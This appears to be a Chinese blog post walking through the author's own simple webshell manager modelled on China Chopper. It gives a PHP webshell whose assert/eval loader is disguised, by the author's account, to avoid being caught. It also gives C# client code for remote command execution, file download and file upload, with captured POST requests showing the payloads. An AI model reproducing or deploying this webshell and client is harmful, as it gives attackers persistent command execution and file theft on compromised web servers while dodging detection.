• Demo版菜刀


    webshell:

    1. @ini_set('display_errors','0');
    2. if($_REQUEST['Ynife_verify'] == "verity" && $_REQUEST['Ynife_password'] == "pass"){
    3.  echo "bingo";
    4. }
    5. if($_REQUEST['Ynife_password'] == "pass" && $_REQUEST['Ynife_verify'] == "run"){
    6.  if($_REQUEST['Ynife_run_flag'] == "run"){
    7.   loader($_REQUEST['loader'],$_REQUEST['Ynife_run_loader']);
    8.  }else{
    9.   loader($_REQUEST['Ynife_run_loader'],$_REQUEST['Ynife_run']);
    10.  }
    11. }
    12. function loader($a,$b){
    13.  $cc run($b);
    14.  $a($cc);
    15. }
    16. function run($b){
    17.   return $b;
    18.  }
    19. ?>

    image.png

    image.png

    他叫我约妹子去了。那我就去了。。。

    首先看到webshell如何判断是否连接成功,当$_REQUEST['Ynife_verify']为verity和$_REQUEST['Ynife_password']等于pass的时候echo一个bingo。师傅看到这里可以就会喷了哈哈哈哈我也觉得。因为后期会改造所以暂时先将就着试试水。

    这里回到c#入口函数

    Program.cs

    1. using System;
    2. using System.Collections.Generic;
    3. using System.Linq;
    4. using System.Text;
    5. namespace Ynife
    6. {
    7.     internal class Program
    8.     {
    9.         static void Main(string[] args)
    10.         {
    11.             string url = args[0];
    12.             string password = args[1];
    13.             string res = SendData.PostRequest(url, password);
    14.             if (res == "bingo")
    15.             {
    16.                 Console.WriteLine("[+]connect success");
    17.                 SendExecuteCommand.SendCode(url, password);
    18.             }
    19.             else
    20.             {
    21.                 Console.WriteLine("[-]connect failed");
    22.             }
    23.         }
    24.     }
    25. }

    首先接受控制台url加密码其实就是$_REQUEST['Ynife_password']的值。然后通过SendData类的PostRequest方法发送。跟进PostRequest方法。

    1. public static string PostRequest(string url,string password)
    2. {
    3.     string responseData = "";
    4.     var client = new WebClient();
    5.     WebProxy proxy = new WebProxy("127.0.0.1"8080);
    6.     client.Proxy = proxy;
    7.     var data = new NameValueCollection();
    8.     data["Ynife_password"= password;
    9.     data["Ynife_verify"= "verity";
    10.     byte[] sendData = Encoding.GetEncoding("GB2312").GetBytes(data.ToString());
    11.     client.Headers.Add("ContentLength", sendData.Length.ToString());
    12.     byte[] bytes = client.UploadValues(url, "POST"data);
    13.     responseData = Encoding.UTF8.GetString(bytes);
    14.     return responseData;
    15. }

    本地测试开启了8080代理,不用关闭就行。

    测试下连接

    image.png

    image.png

    SendExecuteCommand.SendCode(url, password);
    

    如果连接成功调用SendExecuteCommand类得SendCode方法。同样需要传参url和password。跟进SendCode方法

    1. using System;
    2. using System.Collections.Generic;
    3. using System.Collections.Specialized;
    4. using System.Linq;
    5. using System.Net;
    6. using System.Text;
    7. namespace Ynife
    8. {
    9.     public static class SendExecuteCommand
    10.     {
    11.         public static void SendCode(string url,string password)
    12.         {
    13.             while (true)
    14.             {
    15.                 Console.Write(">>");
    16.                 string cmd = Console.ReadLine();
    17.                 if(cmd == "break" || cmd == "quit" || cmd == "exit")
    18.                 {
    19.                     Console.WriteLine("bye~");
    20.                     break;
    21.                 }
    22.                 if(cmd == "help" || cmd == "h" || cmd == "?")
    23.                 {
    24.                     Console.WriteLine("[*]usage:\r\n         h or help or ? for help");
    25.                     Console.WriteLine("         break or quit or exit for exit shell");
    26.                     Console.WriteLine("         upload filename for upload file");
    27.                     Console.WriteLine("         download filename for download file");
    28.                 }
    29.                 if(cmd.Contains("upload "))
    30.                 {
    31.                     string upfile = cmd.Replace("upload""").Trim();
    32.                     uploadFile.upload(upfile,url,password);
    33.                     continue;
    34.                 }
    35.                 if(cmd.Contains("download "))
    36.                 {
    37.                     string dwfile = cmd.Replace("download""").Trim();
    38.                     download.downloadFile(url, password, dwfile);
    39.                     continue;
    40.                 }
    41.                 string responseData = "";
    42.                 var wb = new WebClient();
    43.                 WebProxy proxy = new WebProxy("127.0.0.1"8080);
    44.                 wb.Proxy = proxy;
    45.                 var data = new NameValueCollection();
    46.                 data["Ynife_verify"= "run";
    47.                 data["Ynife_password"= password;
    48.                 data["Ynife_run"= "system('"+cmd+ "');@ini_set('display_errors','0');";
    49.                 data["loader"= "assert";
    50.                 data["Ynife_run_loader"= "@eval($_REQUEST['Ynife_run'])";
    51.                 data["Ynife_run_flag"= "run";
    52.                 byte[] sendData = Encoding.GetEncoding("GB2312").GetBytes(data.ToString());
    53.                 wb.Headers.Add("ContentLength", sendData.Length.ToString());
    54.                 byte[] bytes = wb.UploadValues(url, "POST"data);
    55.                 //responseData = Encoding.UTF8.GetString(bytes);
    56.                 Encoding gb2312;
    57.                 gb2312 = Encoding.GetEncoding("gb2312");
    58.                 responseData = gb2312.GetString(bytes);
    59.                 if (responseData.Contains("yes"))
    60.                 {
    61.                     responseData = responseData.Replace("yes""");
    62.                 }
    63.                 Console.WriteLine(responseData);
    64.             }
    65.             
    66.         }
    67.     }
    68. }

    while循环当string cmd = Console.ReadLine(); cmd值为break或者quit或者exit退出循环。cmd值为help或者h或者?,使用教程。upload和download分别调用uploadFile类upload方法和download类downloadFile方法。这里先不管,先看命令执行。看到webshell。

    1. if($_REQUEST['Ynife_password'] == "pass" && $_REQUEST['Ynife_verify'] == "run"){
    2.  if($_REQUEST['Ynife_run_flag'] == "run"){
    3.   loader($_REQUEST['loader'],$_REQUEST['Ynife_run_loader']);
    4.  }else{
    5.   loader($_REQUEST['Ynife_run_loader'],$_REQUEST['Ynife_run']);
    6.  }
    7. }
    8. function loader($a,$b){
    9.  $cc run($b);
    10.  $a($cc);
    11. }
    12. function run($b){
    13.   return $b;
    14.  }

    loader方法其实就是b)。loader($_REQUEST['loader'],$_REQUEST['Ynife_run_loader']);就一眼看出来是个什么鬼了。为什么要这么写?问得好,因为我直接写被干了。

    回到c#

    1. string responseData = "";
    2. var wb = new WebClient();
    3. WebProxy proxy = new WebProxy("127.0.0.1"8080);
    4. wb.Proxy = proxy;
    5. var data = new NameValueCollection();
    6. data["Ynife_verify"= "run";
    7. data["Ynife_password"= password;
    8. data["Ynife_run"= "system('"+cmd+ "');@ini_set('display_errors','0');";
    9. data["loader"= "assert";
    10. data["Ynife_run_loader"= "@eval($_REQUEST['Ynife_run'])";
    11. data["Ynife_run_flag"= "run";
    12. byte[] sendData = Encoding.GetEncoding("GB2312").GetBytes(data.ToString());
    13. wb.Headers.Add("ContentLength", sendData.Length.ToString());
    14. byte[] bytes = wb.UploadValues(url, "POST"data);
    15. //responseData = Encoding.UTF8.GetString(bytes);
    16. Encoding gb2312;
    17. gb2312 = Encoding.GetEncoding("gb2312");
    18. responseData = gb2312.GetString(bytes);

    抓包看看

    image.png

    1. POST /test2.php HTTP/1.1
    2. ContentLength: 50
    3. Content-Type: application/x-www-form-urlencoded
    4. Host: www.test.com
    5. Content-Length: 191
    6. Expect: 100-continue
    7. Connection: close
    8. Ynife_verify=run&Ynife_password=pass&Ynife_run=system('whoami');@ini_set('display_errors','0');&loader=assert&Ynife_run_loader=@eval($_REQUEST['Ynife_run'])&Ynife_run_flag=run

    接下来看到文件下载

    1. if(cmd.Contains("download "))
    2. {
    3.     string dwfile = cmd.Replace("download""").Trim();
    4.     download.downloadFile(url, password, dwfile);
    5.     continue;
    6. }

    可以看到当cmd值为download xx的时候replace download空格为空,后面就执行download类的downloadFile方法。

    1. using System;
    2. using System.Collections.Generic;
    3. using System.Collections.Specialized;
    4. using System.IO;
    5. using System.Linq;
    6. using System.Net;
    7. using System.Text;
    8. namespace Ynife
    9. {
    10.     public static class download
    11.     {
    12.         public static void downloadFile(string url,string password,string downloadFile)
    13.         {
    14.             try
    15.             {
    16.                 string responseData = "";
    17.                 var wb = new WebClient();
    18.                 WebProxy proxy = new WebProxy("127.0.0.1"8080);
    19.                 wb.Proxy = proxy;
    20.                 var data = new NameValueCollection();
    21.                 string Ynife_run = "@eval($_REQUEST['up']);";
    22.                 data["Ynife_run"= Ynife_run;
    23.                 data["Ynife_verify"= "run";
    24.                 data["Ynife_password"= password;
    25.                 data["Ynife_download"= "true";
    26.                 data["Ynife_run_loader"= "assert";
    27.                 data["up"= "@ini_set('display_errors',+'0');$filename = '"+ downloadFile+"';$handle = fopen($filename, 'rb');$contents = fread($handle, filesize($filename));echo $contents;fclose($handle);";
    28.                 byte[] sendData = Encoding.GetEncoding("GB2312").GetBytes(data.ToString());
    29.                 wb.Headers.Add("ContentLength", sendData.Length.ToString());
    30.                 byte[] bytes = wb.UploadValues(url, "POST"data);
    31.                 //responseData = Encoding.UTF8.GetString(bytes);
    32.                 Encoding gb2312;
    33.                 gb2312 = Encoding.GetEncoding("gb2312");
    34.                 responseData = gb2312.GetString(bytes);
    35.                 File.WriteAllBytes(downloadFile, bytes);
    36.                 if (File.Exists(downloadFile))
    37.                 {
    38.                     Console.WriteLine("[+]download success");
    39.                 }
    40.                 else
    41.                 {
    42.                     Console.WriteLine("[-]download failed");
    43.                 }
    44.             }
    45.             catch (Exception ex)
    46.             {
    47.                 Console.WriteLine(ex.Message);
    48.             }
    49.         }
    50.     }
    51. }

    直接看到post数据包吧。

    image.png

    post包:

    1. POST /test2.php HTTP/1.1
    2. ContentLength: 50
    3. Content-Type: application/x-www-form-urlencoded
    4. Host: www.test.com
    5. Content-Length: 336
    6. Expect: 100-continue
    7. Connection: close
    8. Ynife_run=@eval($_REQUEST['up']);&Ynife_verify=run&Ynife_password=pass&Ynife_download=true&Ynife_run_loader=assert&up=@ini_set('display_errors',+'0');$filename = '2.jpg';$handle = fopen($filename, 'rb');$contents = fread($handle, filesize($filename));echo $contents;fclose($handle);

    利用fopen+fread。c#端通过File.WriteAllBytes写入文件。

    文件上传

    1. if(cmd.Contains("upload "))
    2. {
    3.     string upfile = cmd.Replace("upload""").Trim();
    4.     uploadFile.upload(upfile,url,password);
    5.     continue;
    6. }

    跟进uploadFile类的upload方法。

    1. using System;
    2. using System.Collections.Generic;
    3. using System.Collections.Specialized;
    4. using System.IO;
    5. using System.Linq;
    6. using System.Net;
    7. using System.Text;
    8. namespace Ynife
    9. {
    10.     public static class uploadFile
    11.     {
    12.         public static void upload(string upfile,string url,string password)
    13.         {
    14.             try
    15.             {
    16.                 WebClient oWeb = new System.Net.WebClient();
    17.                 WebProxy proxy = new WebProxy("127.0.0.1"8080);
    18.                 oWeb.Proxy = proxy;
    19.                 NameValueCollection parameters = new NameValueCollection();
    20.                 string Ynife_run = "@eval($_REQUEST['up']);";
    21.                 parameters.Add("Ynife_run", Ynife_run);
    22.                 parameters.Add("Ynife_verify""run");
    23.                 parameters.Add("Ynife_password", password);
    24.                 parameters.Add("Ynife_upload""true");
    25.                 parameters.Add("Ynife_run_loader""assert");
    26.                 parameters.Add("up""@ini_set('display_errors',+'0');$filename=getcwd().'/'.$_FILES['file']['name'];move_uploaded_file($_FILES['file']['tmp_name'],$filename);");
    27.                 oWeb.QueryString = parameters;
    28.                 var responseBytes = oWeb.UploadFile(url, upfile);
    29.                 string response = Encoding.ASCII.GetString(responseBytes);
    30.             }
    31.             catch(Exception ex)
    32.             {
    33.                 Console.WriteLine(ex.Message);
    34.             }
    35.             
    36.         }
    37.     }
    38. }

    直接抓包

    image.png

    1. POST /test2.php?Ynife_run=@eval($_REQUEST['up']);&Ynife_verify=run&Ynife_password=pass&Ynife_upload=true&Ynife_run_loader=assert&up=@ini_set('display_errors''0');$filename=getcwd().'/'.$_FILES['file']['name'];move_uploaded_file($_FILES['file']['tmp_name'],$filename); HTTP/1.1
    2. Content-Type: multipart/form-data; boundary=---------------------8da75982467498c
    3. Host: www.test.com
    4. Content-Length: 117381
    5. Expect: 100-continue
    6. Connection: close
    7. -----------------------8da75982467498c
    8. Content-Disposition: form-data; name="file"; filename="2.jpg"
    9. Content-Type: application/octet-stream

    就是调用move_uploaded_file来进行文件上传,有点粗糙。

  • 相关阅读:
    AtCoder abc 133
    ubuntu22.04 x11窗口环境手势控制
    zabbix监控多实例redis
    JS中字符串常用方法(总结)
    centos / oracle Linux 常用运维命令讲解
    将目录下的所有pdf文件都转换为对应名字的png图片
    git工作使用
    wayland(xdg_wm_base) + egl + opengles 使用 Assimp 加载3D model 最简实例(十三)
    Java底层自学大纲_中间件原理篇
    Makefile中诸多等号“:=, =, ?=和+=”的区别
  • 原文地址:https://blog.csdn.net/hongduilanjun/article/details/126850897